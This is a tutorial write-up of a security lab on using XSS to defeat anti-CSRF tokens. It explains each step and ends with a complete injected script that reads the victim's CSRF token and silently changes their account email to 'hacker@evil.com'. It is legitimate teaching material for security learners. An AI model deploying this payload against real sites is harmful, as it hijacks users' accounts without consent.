September 20, 2026
Lab: Exploiting XSS to bypass CSRF defenses
Deconstruct the Attack Chain
By Amrsmooke
5 min read
Deconstruct the Attack Chain
Before writing any code, we need to map out the logical milestones. To bypass a anti-CSRF token using XSS, your script needs to do two main things:
- Fetch: Read the victim's unique CSRF token from the application page.
- Submit: Turn around and execute a background POST request like changing their email using that stolen token.
DOMParser
Think of DOMParser() as a hidden, headless web browser engine that lives inside your JavaScript environment.
Normally, when you visit a website, the browser's engine takes a raw text file from the internet and builds a visual tree of objects (the Document Object Model, or DOM) so it can display images, text, and buttons on your screen.
DOMParser() lets you use that exact same engine, but in memory only, without ever showing anything on the screen. It is a built-in browser blueprint designed to take a raw string of text and analyze it, structuring it so JavaScript can interact with it.
Example:
// 1. Create the parser instance
let parser = new DOMParser();
// 2. A string containing HTML
let htmlString = "<p>Hello, World!</p>";
// 3. Turn the string into a real DOM document
let doc = parser.parseFromString(htmlString, "text/html");
// 4. Now you can query it just like the regular document
console.log(doc.querySelector("p").textContent); // Outputs: Hello, World!// 1. Create the parser instance
let parser = new DOMParser();
// 2. A string containing HTML
let htmlString = "<p>Hello, World!</p>";
// 3. Turn the string into a real DOM document
let doc = parser.parseFromString(htmlString, "text/html");
// 4. Now you can query it just like the regular document
console.log(doc.querySelector("p").textContent); // Outputs: Hello, World!To write this confidently from scratch, we have to stop seeing it as magic keywords and start seeing it as standard objects and built-in browser tools.
Part 1: The Request (fetch)
fetch('/my-account')fetch('/my-account')fetch: This is a globally available browser tool. Think of it as a built-in delivery person. You use it because it is the modern standard for asking a server for data without reloading the page.'/my-account': This is the argument (the URL path). You are telling the delivery person exactly which door to knock on.
Part 2: The Translation (.then)
.then(res => res.text())
.then(htmlText => {.then(res => res.text())
.then(htmlText => {.then(): Because network requests take time,fetch()returns a "Promise" (a placeholder saying, "I'll be back soon")..then()means: "Once the delivery person gets back, do this next step immediately." You cannot access the data without it.res: This is just a variable name you invent (short for "response"). It represents the heavy, locked crate the delivery person brought back. You could name itboxorpayloadif you wanted to.- =>: This is an arrow function. It is a shorthand way of saying: "Take the thing on the left (
res), and plug it into the formula on the right." res.text(): The crate (res) has built-in methods to unpack it. Because you want to read the HTML code, you call.text(), which unpacks the digital stream into a readable string of text.
When
fetch()returns, the data is delivered as a raw stream of digital code (a "Response" object). The browser doesn't automatically know it's supposed to be readable text.
What
.text()does: It translates that raw server data into a massive, plain text string of HTML code.
Part 3: Setting Up the Blueprint
let parser = new DOMParser();let parser = new DOMParser();let: You are creating a brand new variable. You useletto tell JavaScript, "Hey, remember this name because I'm going to use it in a second."parser: This is a custom nickname you made up. You could name itmyInterpreterorrobot.- =: The assignment operator. You are storing whatever is on the right side into your new nickname.
new: This is a critical JavaScript keyword. It tells the browser to instantiate (create a fresh, working copy of) a built-in blueprint.DOMParser(): This is the built-in browser blueprint. "DOM" stands for Document Object Model (the way browsers understand HTML). "Parser" means analyzer. By sayingnew DOMParser(), you are building a factory-new HTML-reading machine and naming itparser.
Part 4: Feeding the Machine
let doc = parser.parseFromString(htmltext, 'text/html');let doc = parser.parseFromString(htmltext, 'text/html');let doc: You are making another nickname to hold your final result (the parsed document).parser.: You are pointing to the machine you just built in the previous line and saying, "Hey machine, do a job for me."parseFromString(): This is the specific built-in setting/button on that machine. It is written in camelCase because it's a standard JavaScript method. It expects exactly two pieces of information inside its parentheses:
htmltext: The giant wall of raw HTML text you got from Step 2.'text/html': A strict configuration string. You are telling the machine, "Treat this text specifically like HTML code, not plain text or XML." If you leave this out, the machine won't know how to build the document tree.
Why convert from objects, to text, and back to a DOM object?
This is the most logical question to ask. It feels like we are doing double work: Why can't fetch just give us the DOM object immediately?
The answer lies in how the internet works: Servers cannot send live JavaScript objects or DOM trees over the internet. They can only send raw streams of bytes (text data) across network cables.
Here is the life cycle of the data:
- On the Server: The server has a database of your account. It generates a raw text file of HTML.
- The Travel (
fetch): The network transmits this raw text as tiny packets of data. - The Arrival (
res.text()): When your code fetches it, it arrives as a raw digital stream (res). We run.text()to assemble those packets into one giant, flat string of text characters. - The Problem: A flat text string is just text. You cannot run search tools like
.querySelector()on a plain text string. JavaScript just sees it as a giant sentence. - The Solution (
DOMParser): We feed that flat text string intoDOMParserto turn it into a local DOM Object. Now that it is a structured tree again, JavaScript understands what an "input" or a "button" is, and you can search it easily.
Part 5: Striking Gold
let token = doc.querySelector('input[name="csrf"]').value;let token = doc.querySelector('input[name="csrf"]').value;let token: Your final nickname to hold the actual secret code string.doc.: You are targeting the virtual HTML document you generated in the previous step.querySelector(): This is a built-in browser search engine tool. It behaves exactly like CSS. It reads whatever is in the parentheses and searches the document for a match.
'input[name="csrf"]': Your search criteria.
inputmeans look only for<input>tags.[name="csrf"]means the tag must have an attribute that saysname="csrf"..value: OncequerySelectorfinds that specific<input>tag, it grabs the entire element object. But you don't want the whole HTML tag; you only want the text typed inside itsvalue="..."attribute. Adding.valueat the very end strips away the tag and leaves you with just the secret code string ("bY7Z3kX...").
The syntax inside querySelector('input[name="csrf"]') comes directly from CSS Selectors (the same rules used to style websites).
The brackets [] do not mean a JavaScript array in this context. In CSS string syntax, square brackets mean "Look for a specific attribute inside the HTML tag."
Let's dissect the string 'input[name="csrf"]':
input: Look for a tag that starts with<input>.- [ and ]: This tells the search engine, "Stop looking at the tag type, and start looking inside the tag's attributes."
name="csrf": This is the specific attribute key and value we are hunting for.
How the engine reads it:
"Find me an HTML element that is an
<input>tag, AND has an internal attribute ofnamethat perfectly equals"csrf"."
It matches this HTML perfectly:
<input type="hidden" name="csrf" value="bY7Z3kX..."><input type="hidden" name="csrf" value="bY7Z3kX...">If you had used doc.querySelector('input') without the brackets, it would just grab the very first input tag it found on the page (like a login username box), which might be the wrong one! The brackets let you target the exact attribute you need.
Putting It All Together
When you stitch those logical pieces together, you get the final script payload. Notice how everything flows from Fetch Page โก Parse Token โก Submit Request:
<script>
// 1. Fetch the account page to see the current CSRF token
fetch('/my-account')
.then(response => response.text())
.then(htmlText => {
// 2. Parse the HTML text into a readable DOM object
let parser = new DOMParser();
let doc = parser.parseFromString(htmlText, 'text/html');
// 3. Extract the hidden CSRF token value
let csrfToken = doc.querySelector('input[name="csrf"]').value;
// 4. Force the victim's browser to send the malicious POST request
fetch('/my-account/change-email', {
method: 'POST',
body: 'email=hacker@evil.com&csrf=' + csrfToken
});
});
</script><script>
// 1. Fetch the account page to see the current CSRF token
fetch('/my-account')
.then(response => response.text())
.then(htmlText => {
// 2. Parse the HTML text into a readable DOM object
let parser = new DOMParser();
let doc = parser.parseFromString(htmlText, 'text/html');
// 3. Extract the hidden CSRF token value
let csrfToken = doc.querySelector('input[name="csrf"]').value;
// 4. Force the victim's browser to send the malicious POST request
fetch('/my-account/change-email', {
method: 'POST',
body: 'email=hacker@evil.com&csrf=' + csrfToken
});
});
</script>